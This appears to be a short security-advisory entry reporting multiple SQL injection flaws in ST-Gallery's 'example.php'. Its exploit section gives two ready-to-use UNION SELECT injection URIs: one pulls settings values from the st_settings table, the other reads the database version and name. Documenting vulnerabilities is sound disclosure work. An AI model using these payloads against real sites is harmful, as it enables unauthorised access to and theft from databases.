• info
• discussion
• exploit
• solution
• references

ST-Gallery 'example.php' Multiple SQL Injection Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/example.php?gallery_category=-1%27+UNION+ALL+SELECT+1,concat(name,0x3A3A3A,value)+FROM+st_settings+WHERE+id=2/*
http://www.example.com/example.php?gallery_category=1&gallery_show=-1%27+union+all+select+1,version(),database(),4,5,6/*